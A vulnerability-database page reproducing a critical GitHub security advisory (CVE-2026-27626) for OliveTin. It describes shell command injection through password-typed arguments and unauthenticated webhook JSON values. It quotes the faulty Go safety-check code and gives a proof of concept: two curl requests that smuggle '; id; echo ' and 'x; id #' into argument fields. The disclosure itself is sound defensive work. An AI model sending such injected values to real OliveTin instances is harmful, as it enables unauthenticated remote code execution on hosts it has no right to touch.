GHSA-49GM-HH7W-WFVF

Vulnerability from github – Published: 2026-02-25 16:18 – Updated: 2026-02-27 21:45
VLAI
Summary
OliveTin: OS Command Injection via `password` argument type and webhook JSON extraction bypasses shell safety checks
Details

Summary

OliveTin's shell mode safety check (checkShellArgumentSafety) blocks several dangerous argument types but not password. A user supplying a password-typed argument can inject shell metacharacters that execute arbitrary OS commands. A second independent vector allows unauthenticated RCE via webhook-extracted JSON values that skip type safety checks entirely before reaching sh -c.

Details

Vector 1 — password type bypasses shell safety check (PR:L)

service/internal/executor/arguments.go has two gaps:

// Line 198-199 — TypeSafetyCheck returns nil (no error) for password type
case "password":
    return nil  // accepts ANY string including ; | ` $()

// Line 313 — checkShellArgumentSafety blocks dangerous types but not password
unsafe := map[string]bool{
    "url":                      true,
    "email":                    true,
    "raw_string_multiline":     true,
    "very_dangerous_raw_string": true,
    // "password" is absent — not blocked
}

Shell execution at service/internal/executor/executor_unix.go:18:

exec.CommandContext(ctx, "sh", "-c", finalParsedCommand)

A user supplies a password argument value of '; id; echo ' → sh -c interprets the shell metacharacters → arbitrary command execution.

This is not the "admin already has access" pattern: OliveTin explicitly enforces an admin/user boundary where admins define commands and users only supply argument values. The password type is the documented, intended mechanism for user-supplied sensitive values. The safety check exists precisely to prevent users from escaping this boundary — password is the one type it fails to block.

Vector 2 — Webhook JSON extraction skips TypeSafetyCheck entirely (PR:N)

service/internal/executor/handler.go:153-157 extracts arbitrary key-value pairs from webhook JSON payloads and injects them into ExecutionRequest.Arguments. These webhook-extracted arguments have no corresponding config-defined ActionArgument entry, so parseActionArguments() in arguments.go finds no type to check against and skips TypeSafetyCheck entirely. The values are templated directly into the shell command and passed to sh -c.

Example: an admin command template git pull && echo {{ git_message }} with Shell mode enabled. A webhook POST with {"git_message": "x; id"} injects id into the shell command. The webhook endpoint is unauthenticated by default (authType: none in default config).

PoC

# Vector 1 — authenticated user with password-type argument
curl -X POST http://localhost:1337/api/StartAction \
  -H "Content-Type: application/json" \
  -d '{"actionId": "run-command", "arguments": [{"name": "pass", "value": "'; id; echo '"}]}'

# Vector 2 — unauthenticated webhook
curl -X POST http://localhost:1337/webhook/git-deploy \
  -H "Content-Type: application/json" \
  -d '{"git_message": "x; id #", "git_author": "attacker"}'

Confirmed on jamesread/olivetin:latest (3000.10.0), 3/3 runs. Both vectors produced uid=1000(olivetin) output and arbitrary file write to /tmp/pwned.

Impact

  • Vector 1: Any authenticated user (registration enabled by default, authType: none by default) can execute arbitrary OS commands on the OliveTin host with the permissions of the OliveTin process.
  • Vector 2: Unauthenticated attacker can achieve the same if the instance receives webhooks from external sources, which is a primary OliveTin use case.

Combined: unauthenticated RCE on any OliveTin instance using Shell mode with webhook-triggered actions.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/OliveTin/OliveTin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260222101908-4bbd2eab1532"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27626"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-25T16:18:22Z",
    "nvd_published_at": "2026-02-25T03:16:06Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nOliveTin\u0027s shell mode safety check (`checkShellArgumentSafety`) blocks several dangerous argument types but not `password`. A user supplying a `password`-typed argument can inject shell metacharacters that execute arbitrary OS commands. A second independent vector allows unauthenticated RCE via webhook-extracted JSON values that skip type safety checks entirely before reaching `sh -c`.\n\n### Details\n\n**Vector 1 \u2014 `password` type bypasses shell safety check (PR:L)**\n\n`service/internal/executor/arguments.go` has two gaps:\n\n```go\n// Line 198-199 \u2014 TypeSafetyCheck returns nil (no error) for password type\ncase \"password\":\n    return nil  // accepts ANY string including ; | ` $()\n\n// Line 313 \u2014 checkShellArgumentSafety blocks dangerous types but not password\nunsafe := map[string]bool{\n    \"url\":                      true,\n    \"email\":                    true,\n    \"raw_string_multiline\":     true,\n    \"very_dangerous_raw_string\": true,\n    // \"password\" is absent \u2014 not blocked\n}\n```\n\nShell execution at `service/internal/executor/executor_unix.go:18`:\n```go\nexec.CommandContext(ctx, \"sh\", \"-c\", finalParsedCommand)\n```\n\nA user supplies a `password` argument value of `\u0027; id; echo \u0027` \u2192 `sh -c` interprets the shell metacharacters \u2192 arbitrary command execution.\n\nThis is not the \"admin already has access\" pattern: OliveTin explicitly enforces an admin/user boundary where admins define commands and users only supply argument values. The `password` type is the documented, intended mechanism for user-supplied sensitive values. The safety check exists precisely to prevent users from escaping this boundary \u2014 `password` is the one type it fails to block.\n\n**Vector 2 \u2014 Webhook JSON extraction skips TypeSafetyCheck entirely (PR:N)**\n\n`service/internal/executor/handler.go:153-157` extracts arbitrary key-value pairs from webhook JSON payloads and injects them into `ExecutionRequest.Arguments`. These webhook-extracted arguments have no corresponding config-defined `ActionArgument` entry, so `parseActionArguments()` in `arguments.go` finds no type to check against and skips `TypeSafetyCheck` entirely. The values are templated directly into the shell command and passed to `sh -c`.\n\nExample: an admin command template `git pull \u0026\u0026 echo {{ git_message }}` with Shell mode enabled. A webhook POST with `{\"git_message\": \"x; id\"}` injects `id` into the shell command. The webhook endpoint is unauthenticated by default (`authType: none` in default config).\n\n### PoC\n\n```bash\n# Vector 1 \u2014 authenticated user with password-type argument\ncurl -X POST http://localhost:1337/api/StartAction \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"actionId\": \"run-command\", \"arguments\": [{\"name\": \"pass\", \"value\": \"\u0027; id; echo \u0027\"}]}\u0027\n\n# Vector 2 \u2014 unauthenticated webhook\ncurl -X POST http://localhost:1337/webhook/git-deploy \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"git_message\": \"x; id #\", \"git_author\": \"attacker\"}\u0027\n```\n\nConfirmed on `jamesread/olivetin:latest` (3000.10.0), 3/3 runs. Both vectors produced `uid=1000(olivetin)` output and arbitrary file write to `/tmp/pwned`.\n\n### Impact\n\n- **Vector 1**: Any authenticated user (registration enabled by default, `authType: none` by default) can execute arbitrary OS commands on the OliveTin host with the permissions of the OliveTin process.\n- **Vector 2**: Unauthenticated attacker can achieve the same if the instance receives webhooks from external sources, which is a primary OliveTin use case.\n\nCombined: unauthenticated RCE on any OliveTin instance using Shell mode with webhook-triggered actions.",
  "id": "GHSA-49gm-hh7w-wfvf",
  "modified": "2026-02-27T21:45:19Z",
  "published": "2026-02-25T16:18:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-49gm-hh7w-wfvf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27626"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/commit/4bbd2eab153287dc744ad061c58af7693f0c3ddc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OliveTin/OliveTin"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2026-4547"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OliveTin: OS Command Injection via `password` argument type and webhook JSON extraction bypasses shell safety checks"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…